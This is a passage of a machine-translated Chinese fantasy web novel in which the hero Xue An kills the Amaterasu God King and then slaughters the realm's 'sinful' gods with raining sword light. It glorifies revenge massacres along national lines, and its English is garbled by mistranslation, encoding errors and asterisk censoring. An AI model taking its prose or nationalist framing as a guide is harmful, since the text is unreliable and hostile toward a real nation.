    The gods in this **** realm are likely to be divided into two camps, one is the native gods of the gods, and the other is the gods ascended from all realms.


    And the Chinese gods may be the strongest among them.


    The gods of Tianzhao were the ancient gods of the R country, and then they followed into this **** realm.


    Because they were all born on earth and not far away, the Chinese gods accepted these Amaterasu gods into their camp.


    But they never expected that their kindness planted a huge hidden danger.


    When the catastrophe that happened before ten thousand years ago, the gods of the light were the first to turn back, directly inflicting a heavy injury on the Chinese gods and ultimately leading to their complete defeat.


    After that, they were willing to serve as pawns and went directly back to Earth.


    These clues were connected in Xue An''s mind, and a complete story line gradually took shape.


    When the last piece of the puzzle was put together, Xue An''s face was as cold as ice, and the killing intent in his heart became more and more boiling.


    At the same time, Xue An��s words made the Tianzhao God King slightly startled, and then shouted in a very shocking tone: "You can actually see through my body? You are by no means an ordinary Chinese powerhouse, how are you? who is it?"


    Xue An sneered coldly, "You are only asking this question now, don''t you think it''s too late?"


    After all, Xue An rose up into the sky and headed straight for the scorching sun in the middle of the sky with a decisive posture.


    "Huh! Chinese powerhouse, I was thinking of keeping you alive before, but if you can see through my body and origins, then you can''t leave you! Go to death!"


    boom!


    But seeing this round of scorching sun, a one-legged golden crow appeared.


    As soon as this golden crow appeared, the temperature in the surrounding world soared a thousand times.


    The temperature is so high that even the air is roasted.


    Between the flowing light and gold, Xue An''s figure didn''t have the slightest lag, passing directly through the layers of light and fog, and rushed to this round of scorching sun.


    now.


    Xue An''s hair and beard began to curl slightly due to the extreme high temperature, but Xue An did not hesitate at all, and directly blasted out another punch.


    boom!


    The fist is like a dragon, straight to the Golden Crow.


    But all this can''t shake the Amaterasu God King at all. He just listened to him laughing wildly: "It''s useless, I appear in my own body, unless you are a strong man, it is impossible to hurt me!"


    "It''s you, as long as you take a few more breaths, your body will completely collapse because you can''t stand the high temperature!" Amaterasu God King said proudly.


    But Xue An was not moved at all, but the brilliance in his eyes was bright, and then layers of sword glow appeared around his body.


    "Huh? Are you still a sword repairman?" Amaterasu God King was taken aback for a while, and then smiled disdainfully.


    "It''s useless, I''m an ancient divine beast with a mere sword intent, what can I do?"


    The voice just fell.


    Seeing countless bright swords appeared in front of Xue An, and then slammed into God King Amaterasu like a river of sword energy.


    Bang bang bang.


    Amidst a loud noise, this strong sword intent drove the Amaterasu God King back a hundred meters away.


    But that''s it.


    When the sword light dissipated, the scorching sun remained, not even the slightest bleak Amaterasu God King laughed wildly, "Chinese strongman, accept your fate! You can''t hurt my hair! I can give you a good time! Don''t think about revenge for the Chinese people!"


    "Ten thousand years ago, your Chinese was slaughtered, and ten thousand years later, you also fell. This is the life of your Chinese! Hahahahaha!"


    In the laughter, Xue An raised his head proudly, just like those ancestors who would rather die than surrender thousands of years ago, and then said in an indifferent tone.


    "Destiny? The destiny of the Chinese people has always been in their own hands! Not recognizing their fate is our fate!"


    "Haha! It sounds nice, but what can you do with me?" Amaterasu God King sneered.


    At this moment, Xue An smiled, full of jealousy in his smile.


    "Yan''er, borrow your armor for a use!"


    With that said, Xue An backhanded into his chest and directly reached into the Fubao Xiaolou, and then took out the puppet armor that was captured by Sui Han Shen Jiang and given to An Yan.

 Chapter 1108： Zhanggong

    "This is..." God King Amaterasu was taken aback for a moment, and then furiously said: "This is Suihan''s alchemy armor!"


    Xue An nodded, "Yes! But now, he is mine!"


    Xue An held the cyan-gold seal in his hand and said lightly: "Aren''t you claiming that there is no one under Daluo? Today, I will let you die!"


    After that, Xue An pressed it suddenly.


    This cyan-gold seal seemed to be alive, suddenly stretched out countless gears, and then began to spin frantically.


    In an instant, this alchemy armor turned into a semicircle, something strange and exaggerated but exuding cold luster.


    Everyone was a little confused, because they didn''t see what it was.


    Amaterasu God King was taken aback for a moment, and then he laughed out loud, ��It��s such a lively talk, but a fire stick came out! Why? Do you want to use this to stab me to death?��


    After ���� said, there was another wild laugh.


    Xue An was not moved at all, but took a deep breath.


    But seeing the clouds move in all directions, the wind is blowing on all sides.


    The air in the whole world seemed to be sucked up by Xue An, and then on the sky, countless sword lights appeared.


    The sword light came to cover the sky and obscured the sun. The mighty power made the earth tremble.


    Amaterasu God King couldn��t help but was taken aback, but he didn��t take it seriously.


    Because he is an ancient alien beast, as long as he shows his body, he can be immune to all attacks under Da Luo.


    These terrifying qualities also made him shine in the battle ten thousand years ago.


    There are countless Chinese gods and monks who died in his hands.


    If it were not a thousand years ago, the old man who could spy on the secrets warned him that after a thousand years he would have a catastrophe, and the strong among the Chinese would come to retaliate.


    He might not even hide, because he never took these things to heart, and he was even very proud.


    "Hehe, the sword intent is good! But as I said, these things don''t work for me at all! So I advise you to save effort!" Amaterasu said lazily.


    But at this moment, the sky full of sword lights began to gather, and then formed a huge vortex, the end of the vortex pointed directly at Xue An.


    The target is the weird weapon in Xue An''s hands.


    But seeing the brilliance in the turmoil, the wisps of sword light looked like silk threads, crazily infiltrating this weapon.


    I saw that the two ends of the semicircular weapon began to show a little light, and then it grew wildly, and finally connected together.


    At the moment they were connected, a powerful might emerged from this weapon.


    And everyone who witnessed this scene has been dumbfounded.


    "This...this is a crossbow!" Someone exclaimed.


    That''s right!


    Now appearing in Xue An''s hands is a crossbow with exaggerated and weird shape but extremely powerful and powerful.


    After seeing this crossbow, the old **** was there, and the **** king Amaterasu, who didn''t take it seriously, seemed to see something extremely terrifying, and subconsciously stepped back several miles.


    Then he roared in a trembling voice: "You...what do you want to do?"


    Xue Ansen smiled, "What do I want to do? Naturally... I killed you!"


    After that, Xue An raised his hand and chuckled softly: "Arrow!"


    Boom!


    With an order, the vortex formed by the sky full of sword energy began to condense crazily.


    In an instant, the immeasurable sword that originally covered the sky and the sun was gassed into a silver arrow that was no longer than a length, but was extremely brilliant.


    When the arrow flew into Xue An''s hands, Amaterasu God King couldn''t stop screaming, as if this scene evoked some extremely terrifying memories.


    Xue An ignored this at all. At this moment, he had only one thought, and that was to kill the Amaterasu God King in front of him.


    So he stretches his bow and shoots his arrows, pointing at the golden crow.


    Qi machine locked, the world was silent.


    Amaterasu God King let out a terrible cry, "Impossible... how could you have this kind of breath?"


    said, this round of scorching sun that originally hung in the sky began to flee like a bird with a frightened bow!


    Seeing this scene, all the surviving gods and powerhouses were dumbfounded.


    In their eyes, the omnipotent Lord God, was frightened by a small crossbow and fled?


    This is incredible!


    Xue An''s mouth gradually raised, and a cold smile appeared.


    "After so many years, it seems that the Golden Crow clan still can''t change the fear of bows and crossbows!"


    "But no matter how you run, you must die today!"


    "Look at me, one arrow shoots the sun!"


    After that, Xue An let go of the control hand.


    only heard a loud and dull noise, and then the silver arrow flew out silently, piercing the void in an instant, and passing directly behind the Amaterasu God King who was fleeing frantically.


    Feeling the breath chasing behind him, the Amaterasu King is scared to death.


    "Do not!"


    But everything is not shifted by his will. Following his horrible howl, this silver arrow traverses with supreme might.


    ��!


    After a muffled noise.


    This round of scorching sun that was shining on the world dimmed instantly, and then after a few flashes, it was completely extinguished.


    at the same time.


    I saw a figure floating in the sky out of thin air, and then staggering, then fell down.


    Only then did people see that this figure was a middle-aged man with a pale face and a treacherous face.


    "It''s the Lord God!" The surviving **** exclaimed. UU Reading


    At this time, the Amaterasu God King was obviously injured, and his figure was falling crazily.


    Xue An didn''t intend to let him go at all, and immediately stepped forward and appeared in front of him.


    "The arrow just now was asked by me for the powerful Chinese who died in your hands!"


    "Now this punch is for the innocent person who died in your hands!"


    After that, Xue An gave a soft voice, "Hey!"


    Then he punched out.


    The six types of killing gods are combined into one, powerful enough to change the world.


    This Amaterasu God King screamed, "Rao..."


    The fate has not yet been spoken, Xue An��s punch has already come.


    Boom!


    I saw the Amaterasu God King being bombed out directly, and then burst into the air.


    The golden blood splashed across the sky and dyed the sky red.


    But this is still not enough.


    Because of the powerful vitality of the Golden Crow, even though it was shattered by Xue An''s punch, in a short while, these wrecks were combined and reborn.


    Xue An had expected this. When the Tianzhao God King had just been reborn, his figure rushed to him again, and then raised his fist.


    "This is for the Chinese gods!"


    boom!


    Amaterasu God King exploded again. Then he was born again.


    "This is for the Chinese mortals who were slaughtered by you!"


    bang bang bang.


    In the continuous muffled sound. .


    This Tianzhao God King is like a human sandbag, being bombarded by Xue An again and again.


    miserable situation, look at everyone!

 Chapter 1109： Body and soul

    Finally, after repeated rebirths.


    Amaterasu God King''s figure and aura became extremely weak.


    When Xue An was about to punch again, the extremely weak Amaterasu King wailed miserably.


    "enough!"


    Xue An''s fist stopped on the tip of his nose, and said lightly: "What is enough?"


    Amaterasu God King took a deep breath, and then said miserably: "I surrender! Please don''t fight again! If you fight again, I will really die!"


    All the gods gradually widened their eyes.


    Is this man who is about to cry in the air, really the Lord God who has been in charge of the Amaterasu God Realm for thousands of years?


    This picture, no matter how you look at it, looks so weird and unbalanced.


    Xue An raised his eyebrows slightly, "Oh? Want to survive?"


    Amaterasu King nodded like garlic, "As long as the adults can let me go, you can let me do anything!"


    Xue An was silent for a moment, then slowly retracted his fist.


    Amaterasu God King slightly relieved.


    At this time, Xue An said lightly: "It''s not impossible to survive..."


    Amaterasu God King was overjoyed and exclaimed excitedly: "My lord, whatever you tell me, I can do it for you! I..."


    Xue An waved his hand, then his eyes were clear, and he said coldly: "Tell me, who the **** is the murderer of the Chinese people! As long as you tell me this question, I can let you go now!"


    Hearing this question, the Amaterasu God King, who was full of joy, immediately turned pale as paper.


    "Big...sir, it''s not that I don''t want to tell you, it''s really that I don''t know at all!" Amaterasu said in fear.


    Xue An��s complexion gradually became cold, "I don��t know? Then why did your Amaterasu **** suddenly turn back, and even fight against the Chinese at all costs?"


    This question made the Amaterasu God King tremble like chaff, and then trembled: "Big...sir, I..."


    "Or, you don''t want to say at all, just want to perfuse me?" Xue An said coldly, and then slowly raised his fist.


    "My lord... I have something to say, don''t do it!" Amaterasu God King hurriedly shouted.


    Xue An stopped his movements and said word by word: "Now... tell me what''s going on!"


    Amaterasu God King sighed, then lowered his head and said sullenly: "My lord, you have to ask who the murderer is, I really don''t know!"


    "Huh?" Xue An raised his eyebrows.


    "Master, don''t worry, these things are really beyond my reach! Even if I went to the earth later, I couldn''t see the people who took the initiative to slaughter the Chinese! As for why our Amaterasu gods suddenly turned back... ."


    The God King Amaterasu hesitated for a moment, then raised his head and said solemnly: "Because of Li Heng Tianjun''s promise that as long as I will rebel out of the Chinese camp, he will give me a realm of God and make me a true God of the One Realm! "


    "Li Heng Tianjun?" Xue An''s expression gradually became gloomy and cold.


    Because he thought, it was the people of the reincarnation heaven who used the great seal technique to inject himself into the samsara world.


    Then he went to the earth later, intending to slaughter the Chinese again, also by the son of Li Heng Tianjun.


    Xue An has not forgotten these things, even he originally planned to go to Li Hentian after dealing with the affairs of Amaterasu God Realm, to find this old Li Hen to settle accounts.


    But now I listen to the God King Amaterasu said that this Lihentianjun is actually the main messenger of the original war.


    This naturally made Xue An''s murderous intent more and more bitter.


    Amaterasu God King looked at his words and looks, and he could naturally see what Xue An was thinking in his heart, and he could not help but sigh in secret.


    Then he continued: "And my lord, the level of interference in the great catastrophe ten thousand years ago was too wide, and it was not something my little **** could touch, but Li Hentian clearly knew something. If you want to find out the true truth. , Looking for him is the best choice!"


    Xue An was silent.


    At this moment, the Amaterasu God King, who was originally weak, is gradually consolidating.


    Because he had been quietly accumulating power when he was talking.


    Now for Xue An, he is already full of fear.


    Because of this young man in white who doesn''t seem to be a weak crown, his methods are endless.


    can not only see through his own history at a glance, but can even use the technique of Hou Yi to almost completely annihilate himself with one arrow.


    All this makes this Amaterasu God King full of jealousy towards Xue An.


    So he has been quietly accumulating strength, ready to find a chance to escape.


    Anyway, when I escape, someone will come to clean you up!


    Amaterasu God King was secretly ruthless.


    But when he first thought about it, Xue An, who had bowed his head and said nothing, suddenly stretched out his hand and pinched the Amaterasu God King by the neck.


    The Amaterasu God King who was thinking about how to deal with Xue An after he was born was shocked. He wanted to struggle, but was horrified to find that he could no longer move.


    "You...what do you want to do? I have already told you what I know! You will let me go if you say it! Isn''t you the Chinese who pay attention to credibility the most? You can''t say nothing!" Shouted in fear.


    "Credit?" Xue An smiled coldly, then slowly raised his eyes, staring at the Amaterasu God King.


    "A person like you is worthy of talking about credibility?"


    "And were you just thinking about how to deal with me after escaping?"


    Xue An''s words made Amaterasu''s face instantly pale, and then roared: "I tell you, if you dare to kill me Li Hentianjun and other strong people will know soon! At that time, you just wait to be hunted and killed endlessly!"


    Xue An looked indifferently, "Killing?" Then he shook his head.


    "Don''t worry, I won''t have their turn to chase and kill me, I''ll be there!"


    may be shocked by the coldness in Xue An''s words, the **** Amaterasu didn''t know what to say for a while.


    Xue An pinched his neck, looked down at all the gods who were dumbfounded on the square, and said coldly.


    "After I remember, I will kneel down and apologize to my Chinese ancestors!"


    said, Xue An suddenly shook his palm.


    The unparalleled power instantly made Amaterasu God King angrily, and his face became purple.


    At this time, he already knew that he would not be spared, so he could only stare at Xue An with hatred and spiteful eyes.


    "I...I''ll be waiting for you below! Because you don''t know what a terrible existence you are about to face! Li Heng Tianjun is just one of their lackeys! Hahahahaha, I''m afraid Right!"


    Amaterasu King laughed wildly.


    Amidst the laughter, Xue An was not afraid, even his eyes did not change. He just said faintly: "Thank you for your reminder, but no matter who the other party is, I will make them regret coming to this world!"


    Amaterasu God King was shocked by the tolerance in Xue An''s words, and he was startled.


    At this moment, Xue An said coldly: "Goodbye!"


    After all, this day, the body of the **** king shook, and his eyes quickly dimmed.


    That''s it, this god-king and powerful man who has survived for thousands of years is gone!

 Chapter 1110： Bloodbath

    King Amaterasu is dead.


    The whole audience was silent.


    Many of the surviving gods have been unable to stand, and are almost limp on the ground.


    For them, Amaterasu is the supreme king.


    is an immortal existence!


    But now, the supreme king was wiped out in front of everyone.


    They are naturally terrified.


    At this time, Xue An slowly opened his eyes.


    This Amaterasu God King is an ancient god-level powerhouse. In addition, it is transformed by the ancient golden crow. His strength is quite powerful, even though it was destroyed by Xue An with an alchemy bow and crossbow.


    But it is still difficult to completely eliminate him.


    Therefore, Xue An simply swallowed the spirit of the Amaterasu God King with his vast and vast spirit.


    This caused the Amaterasu King to die immediately.


    But the spirit of Amaterasu God King is very tyrannical, even after being swallowed by Xue An, he still wants to make trouble.


    However, Xue An''s mentality is so huge that it has exceeded the imagination of ordinary people.


    Therefore, within a few breaths, Xue An completely shredded the spirit of the Amaterasu God King, and at the same time absorbed all the memories.


    Just now, Xue An was looking up these memories of King Amaterasu.


    As a result, Xue An discovered that the Amaterasu God King did not lie.


    Ten thousand years ago, he was just an unremarkable wild god, who had no access to high-levels.


    So in the memory of King Amaterasu, I did not find any valuable information.


    But Xue An was prepared for this. He also knew that it was impossible to find out what happened through an Amaterasu God King.


    Xue An smiled slightly when he saw a star map in the memory of King Amaterasu.


    This is actually what he is looking for!


    This star map is the road map to Li Hentian.


    As long as it has it, Xue An can follow the picture and go to Li Hentian.


    Now only the body of the Amaterasu King is left.


    Xue An wanted to incinerate it directly, but at this moment.


    Amaterasu God King''s body began to change, and in the end the original form of the Golden Crow appeared.


    Xue An''s heart moved, and he took the dead body into the Fubao Xiaolou.


    The corpse of the Ancient Golden Crow is also a good treasure, it might be useful if you keep it!


    Things are done.


    Xue An looked down at the fearful gods on the square.


    Everyone bowed their heads sadly as far as they could see.


    Xue An didn''t kill them either, he just snorted slightly, then his figure flashed, and he flew straight to the top of Qingtian Peak.


    This place is surrounded by clouds and mist all year round, and there are layers of terrifying restrictions. Not to mention mortals, even the gods who have followed the Amaterasu for many years are not allowed to enter.


    But these are nothing to Xue An at all.


    There is nothing that cannot be solved with one sword. If there is, then two swords!


    When the forbidden light curtain came up, Xue An''s eyes flashed slightly, and a sword light shot straight out.


    After a continuous cracking sound, the forbidden light curtain in front of him was swept away, and even the clouds were chopped up, revealing the bare peak and the house above the peak full of runes. .


    "Sure enough, here!" Xue An smiled coldly, and came to the house in a flash.


    said it was a house. In fact, it didn''t even have doors or windows. It looked like a huge cube, floating on the top of the peak, rotating at a slow speed.


    Xue An stretched out his hand and gently pressed it on it.


    Boom!


    With Xue An''s palm as the center, a bright brilliance appeared in an instant, and then began to flow along these runes.


    In an instant, all the runes on the entire cube glowed with a faint golden light.


    Then he heard a slight clicking sound from inside, as if a gear was turning.


    Click!


    After ���� there was a soft sound, a door suddenly appeared.


    Xue An smiled and stepped into it.


    From the outside, the cube is not big, just like a small house.


    But when I walked in, the space inside was extremely wide.


    is the lapis lazuli ground exuding a slight luster under his feet, and the dome above his head is inscribed with countless dense and mysterious runes.


    Above the dome formed by this rune, there is a little bit of starlight dotted with it.


    But the most striking thing is the two rounds of Guanghua.


    One of the two rounds of brilliance is dazzling, and the other is silvery white, slowly rotating above the dome.


    It looks...just like the sun and the moon.


    Xue An stood in the middle, looked up at the magnificent dome, a smile appeared at the corner of his mouth.


    "The rune is the sky and binds the sun and the moon. This is the hub that controls the entire Amaterasu God Realm!"


    Xue An is very clear that worlds such as Amaterasu God''s Domain that are not formed naturally, but created artificially, will have this kind of control hub.


    The sun, moon and stars are moving above.


    This is the core of the entire Amaterasu God Realm.


    With this, you can truly control the entire God''s Domain.


    But Xue An obviously doesn''t have the slightest interest in controlling this place. He came here just to.


    Blood washes the world!


    Seeing Xue An''s eyes getting colder, he stomped his foot suddenly, and countless sword lights appeared around his body.


    "Cause and effect!"


    Boom!


    These sword lights were shocked, and they were accompanied by tyrannical causal power.


    But it''s not over yet, the flames in Xue An''s eyes rose, and wisps of red lotus fire emerged, dyeing these sword lights into a deep red color.


    Cause and effect, the red lotus karma fire double added, so that these swordsmanship have unparalleled lethality.


    Xue An raised his head, looked at the dome, then raised his hand and pointed, and said lightly: "Go, the sword of evil!"


    With an order, the boundless sword lights that originally surrounded Xue An''s body quickly gathered, and then followed the direction Xue An pointed out, the sword energy was like a dragon, and went straight to the dome.


    Boom!


    The rune pattern on the dome was rippled by this sword light.


    The stars are dim, the sun and the moon are dull.


    Then you can see countless sword lights appearing on the vast dome.


    Xue An lowered his eyes and said faintly: "Dust returns to dust, today... is the time of retribution for you!"


    at the same time.


    On the square of Qingtian Peak, these surviving gods looked at each other.


    "What did this young strong man do?" someone asked in a low voice.


    "Who knows! But it seems that this adult should be too lazy to pay attention to us!" The **** said with relief.


    Everyone nodded when they heard the words, and there was a hint of joy on their faces.


    Anyway, my life seems to be saved.


    As for the death of the **** king, it is nothing more than a change of owner for them, it is nothing at all!


    But at this moment I heard someone trembling and shouting: "You... look at the sky!"


    Everyone looked up.


    But seeing the sky above the sky, countless red sword lights suddenly appeared, and the number was so large that they even dyed the blue sky as bright as blood.


    Although they were far apart, all the gods felt the mighty power contained in this sword light.


    "This...what''s going on?" someone exclaimed in shock.


    An older man suddenly understood something, and said in horror: "It''s the control hub, the young man went to the control hub just now!"


    Speaking of this, the old man''s face was already horrible, and he was shaking like chaff, desperately roaring: "He...he is going to wash the world with blood!"


    As soon as the voice fell, I saw the sword light raining down from the sky.


    Killing, that''s it!

 Chapter 1111： Even running away is a luxury

    The sword fell like rain.


    It''s just that the rain brings vitality, but the sky full of sword light brings death.


    Those who bear the brunt are the surviving gods on the Sky Peak Square.


    They didn''t want to run, but when Jian Yu blocked the world, escape had become a luxury for them.


    ��.


    Those gods with weaker cultivation bases didn''t even have the power to resist, they were broken open by Jian Yu, and then let out a terrible cry.


    But the horrible howl is so short that it stops abruptly after a breath.


    Because of the person who screamed, Jian Yu has been directly cut into nothingness.


    The rest of the gods who looked at this tragic situation were frightened, and the temperament and tyrannical man unhurriedly opened up the defensive array, soaring into the sky, trying to rely on his own tyrannical cultivation base to fight the falling sword rain.


    But all struggles are in vain.


    The speed of these gods rising up into the sky often slowed down as soon as they rushed halfway, and the defensive light curtain covering the whole body also flickered rapidly, and finally shattered silently.


    When the defense is broken, these gods are like a dead leaf in the storm, their bodies are shaky, and they are too late to make a scream, just like a melted wax statue, gradually melting away.


    Yes, it''s the kind of ablation that gradually fades into nothingness.


    Eventually, the entire bodies of these gods became transparent and then disappeared.


    A few breathing rooms.


    The gods on the Sky Peak Plaza were almost killed and wounded, only two or three newly promoted gods were not harmed at all.


    These gods stood trembling in the corner, their eyes widened, and they looked at everything in horror.


    When the killing was gone, the huge Qingtian Peak was silent, and the square was empty. Only these new gods stood there stupefied.


    They don��t understand why this happens.


    Every **** who died was much stronger than them.


    But these sword rains seemed to have deliberately avoided the corners where these gods stood.


    "The knot... is it over?" A new **** said tremblingly.


    The other raised his head to look at the sky, and shook his head solemnly, "It''s not over, but it''s started!"


    As expected.


    I saw that the sword light above the sky did not decrease but increased, and then spread at a terrifying speed.


    was connected to the sky in an instant.


    If the previous sword light only obscured the sky around Qingtian Peak, then the scope of the shroud now is more than ten thousand times larger than before.


    These new gods are all looking silly.


    After a while, one person swallowed hard, "This...Is this adult really going to bloodbath the entire Amaterasu God Realm?"


    The others were silent.


    Although it sounds like a fantasy, from the current situation, everything is true.


    "I see!" another new **** whispered softly.


    "What do you unserstand?"


    "This adult still shows no mercy. Those who die are gods with innocent blood on their hands, and we are all newly promoted gods, and our hands are clean, so we can survive!"


    Speaking of this, the man smiled bitterly, "Speaking of which, we have to thank ourselves for our kindness!"


    Everyone was silent.


    In the previous Amaterasu God Realm, kindness is not only not a compliment, but full of irony.


    Once someone says that, it means that the person is very timid.


    Unexpectedly, in the end it was this "faint" quality that saved these people!


    "One word tells the world, this is the real god!" Someone looked up at the ethereal Qingtian Peak and said softly.


    Just as these people guessed, the rain of swords at this moment is spreading at a terrifying speed.


    Amaterasu Zhonggong, the surrounding sky.......


    But the scene of a cup of tea, the sky full of sword light has covered the entire Amaterasu God Realm.


    The sky became red.


    Such a spectacle naturally attracted the attention of countless people.


    "What is that?" Someone asked curiously.


    "What a powerful sword intent!" Someone looked solemn.


    "It seems that the area covered is extremely large, what can this be done?" Someone asked with shock.


    But no matter who it is, everyone who witnessed this scene has a question in their hearts. What is this person doing?


    Of course, there are still many powerful gods who dismiss this.


    For example, the guardian Amaterasu Zhonggong, in the Fire Dragon City that is far away from the Arctic City, the Fire Dragon God General who is second only to the Sui Han God General, after seeing this scene, he sneered disdainfully.


    "Fantasy! It''s ridiculous that someone tried to cover the entire Amaterasu God Realm with their own power!"


    said, the fire dragon **** general leaned on the chair of the city lord''s mansion, and said lightly.


    "How is things in the mining area?"


    The butler beside ���� quickly said, "Master Huishen, the mining area is well mined, and high-quality fire dragon crystals are excavated every day, but..."


    "Just what?"


    "It''s just because the environment in the Huolong Mine is too harsh, most of the mine slaves that were put in before have been killed or injured, and the manpower is severely insufficient, so the mining progress is getting slower and slower."


    The fire dragon **** will slap the table abruptly when he hears this, "Asshole, I can''t even do such a small thing! The slave is gone, let''s catch it!"


    "Yes, yes, but the surrounding sky has been wiped out, you see..."


    "The God Realm doesn''t have one. Then try to find a way to catch it in the nearby star field. I remember that another star developed into the teaching land of our Amaterasu gods? Send a guard to the past and catch all the natives. When they come back, throw them into the fire dragon mine to mine, it is considered that they have contributed to the gods they serve!"


    Such a vicious suggestion made the housekeeper pale, but he didn''t dare to defy, so he nodded repeatedly, "Yes, yes, I will make arrangements right away!"


    "Humph! A bunch of trash!" The Fire Dragon God General said arrogantly.


    But just when the butler stood up and stood up, I saw that the sky above the Fire Dragon City was covered by endless sword light, especially the sky above the City Lord��s Mansion, and a huge whirlpool appeared.


    "Master God, this..." the butler said with some worry.


    Fire Dragon God looked up to the sky with a disdainful expression, "Where did the kid from here dare to play this set with Laozi? Get out of here!"


    said, he rose into the sky.


    The status of the fire dragon **** general is second to the old cold **** general in Arctic City.


    But when it comes to strength, Sui Han is actually not his opponent.


    And this person is extremely arrogant and arrogant, and his methods are cruel, he is known as the cannibalistic dragon.


    When he saw that someone dared to cover his own fire dragon city with a secret method, he couldn''t help burning with anger, so he rose up into the sky, thinking about breaking the sky full of sword light.


    I saw him as fast as lightning, rushing into the sky in an instant, and then said with a grin, "Get out of here!"

 Chapter 1112： Your king has been killed by me

    As he said, he raised his hand and made a blow.


    The momentum shook the world.


    Fire Dragon City everyone can''t help but look up.


    When many people saw the fire dragon **** general''s back, there was a strong hatred in their eyes.


    But soon, these people''s eyes dimmed again.


    This fire dragon **** will always act brutal and unkind. I don��t know how many innocent people died in his hands. Countless people want to kill him and then hurry up.


    But the strength of the fire dragon **** general is too strong, so no one has ever succeeded.


    After a long time, these people are even a little numb.


    This time, it is probably the same!


    These people thought in their hearts, and then bowed their heads as if resigning.


    can be at this moment.


    There was a miserable howl in the sky.


    The tragic howling is not uncommon in this Fire Dragon City. There are hundreds of innocent bones carried out of the city lord��s mansion every day.


    But this time the miserable howl is different, because the person who made the miserable howl is the fire dragon **** who has always abused others.


    Everyone suddenly raised their heads, looked at them in disbelief, and then froze.


    Because of the arrogant and domineering fire dragon **** general, at this moment, he flees far away in fear.


    Half of his body has already revealed the dense bones, and the blood is flowing, the fire dragon **** will shout in horror.


    "What the **** is this? Why is there such a powerful sword intent between heaven and earth?"


    But no one can answer his question.


    People stared dumbfounded.


    Because at this moment, the sky full of sword glow did not let the fire dragon **** general, but like a turbulent ocean, caught up behind him.


    "Ahhhhh, don''t come here! I am the supreme and noble fire dragon general, who dares to kill me?" This fire dragon general was almost frightened by all this.


    The arrogance and disdain just now disappeared.


    At this moment, he has only one thought, and that is to stay away from this **** sword light!


    But no matter how he dodges and accelerates, he can''t get rid of these sword lights, and even the distance between them is slowly shortening.


    People looked at the sword light that was not eagerly chasing behind, suddenly felt that these sword light seemed to be spiritual, they were using this method to tease the fire dragon **** general.


    At this time, the fire dragon **** general saw no hope of throwing off his sword light, and a look of cruelty appeared in his eyes.


    Then he leaned over and headed straight to the busiest street in Fire Dragon City.


    At this moment, the street is full of astonished people. As long as you enter it yourself, relying on the lives of these untouchables, you can delay these swordsmen for a moment and win precious time for your escape.


    The Fire Dragon God General became more and more proud as he thought about it, his face couldn''t help but a fierce smile appeared, and his speed suddenly accelerated.


    In an instant, he even saw the panic and despair on the faces of these people standing on the street.


    But he didn''t hesitate at all and rushed directly into the crowd.


    Now, if these sword glows want to catch up with me, they have to kill all the untouchables. Even killing pigs will take some time, let alone killing? Hehe, I''m so witty!


    Fire Dragon God will be full of pride.


    Unexpectedly, there was no screaming from behind.


    Huh?


    what happened?


    Don��t these untouchables like to yell the most when they are dying?


    Why is it so quiet this time?


    A trace of doubt arose in the fire dragon god, he couldn''t help turning his head to look, and then he saw a scene that made him stare.


    However, after seeing the powerful wave of sword light, after chasing the crowd, it cleverly avoided all the crowd in front of him like a fish, and then went straight to himself.


    Throughout the process, these sword lights did nothing against the crowd.


    "What the **** is this! Why do these sword glows avoid the crowd?" The Fire Dragon God will exclaimed in shock.


    At this moment, the sword light had already rushed to the front, and then opened his mouth like a snake and constrictor to swallow the Fire Dragon God.


    The fire dragon **** will be so scared that he can''t take care of his dignity, and a lazy donkey can barely escape the blow.


    But because the speed of the sword light was so fast, the fire dragon **** general just hid a little slower, and one leg was directly cut off and turned into nothingness.


    The fire dragon **** general let out a miserable cry, and rose into the sky with extreme terror, trying to escape the pursuit.


    But all struggles are in vain.


    This Jian Mang didn''t seem to be in a hurry to kill him, but instead went around him with great interest and started guerrilla warfare.


    After a while, the Fire Dragon God General showed wounds all over his body.


    at last.


    The fire dragon **** will have a fierce and decisive look in his eyes, and he yells up to the sky: "This is what you forced me!"


    After that, the fire dragon **** general''s body suddenly began to change, his skin was instantly torn, revealing the hideous scales underneath.


    In an instant, this fire dragon **** will be transformed into a huge two-headed salamander.


    And this is exactly his original form.


    After the body appeared, the fire dragon **** will grinned and said: "I don''t know who sent your sword light, but I will definitely pull this person out and tear it to pieces completely, because you actually let the noble fire dragon show Out of the body!"


    Speaking later, the voice of the Fire Dragon God General was full of resentment and hatred.


    Because a strong man like him, once he transforms into his original form, it means that his vitality is severely injured, and it will even take decades of deep sleep to fully recover.


    This naturally caused the fire dragon **** to become angry.


    But at this moment, I heard a cold voice, "The so-called god, it turns out to be a four-legged bug!"


    "Who is it? Who dares to speak like this?" The fire dragon **** will be furious.


    At the same time, a figure was slowly converging on the sky full of sword lights that undulated like the sea.


    That''s right.


    This figure is all made up of sword light.


    In an instant, a young man radiating bright sword light appeared in the air.


    "Are you the one who displayed this sky full of sword light?" The Fire Dragon God General roared.


    This young man was naturally transformed by Xue An��s mind, and nodded when he heard that, "Yes!"


    "You are so rampant, aren''t you afraid that Lord God King will sin against you?"


    "The King of Gods?" Xue An, whom Jianmang had transformed, shook his head A cold smile appeared on the almost transparent cheeks.


    "There is no **** king anymore, your king has been killed by me!"


    The Fire Dragon God General was startled, and then shook the sky and roared: "Impossible! Lord God King is..."


    "It may not be possible, don''t you know what you perceive?" Xue An interrupted the Fire Dragon God General and said lightly.


    The Fire Dragon God will be taken aback when he hears the words, and immediately begins to connect with the Amaterasu God King through his spiritual thoughts.


    The result is naturally nothing.


    His huge body began to tremble, and a look of horror appeared in the compound eyes of a pair of lizards.


    "Who are you...Why are you doing this?"


    Xue An said coldly: "Me? My name is Xue An. As for why I do this..."

 Chapter 1113： I am in the form of 0 million, only to kill...

    Xue An looked down at the Fire Dragon City, where resentment was full of bones, and the howling fire dragon mining area in the distance, and said coldly.


    "Because... this is your retribution!"


    With the voice, Xue An''s figure disintegrated into sword light again, and then the sword light was like a sea, rushing forward violently.


    The Fire Dragon God will let out a sky-shaking roar, trying to mobilize his divine power to resist, but only then did he discover in horror.


    I can no longer move.


    The former Jian Mang was only teasing him on purpose. When he was really going to do it now, with the Qi machine locked, he couldn''t even move at all. He could only watch himself being swallowed by Jian Mang.


    The miserable howl and the begging for mercy only lasted for a short period of time, and after a few breaths, everything was calm.


    But in the void, there is no longer the figure of the fire dragon god.


    This cruel, brutal fire dragon **** general was wiped out.


    Fire Dragon City everyone has witnessed this scene, but it is far from over.


    I saw the sword light falling like rain, and all the sins began to be washed away.


    When everything is over, there will be no one in the fire dragon city, and the city lord��s mansion will be slaughtered.


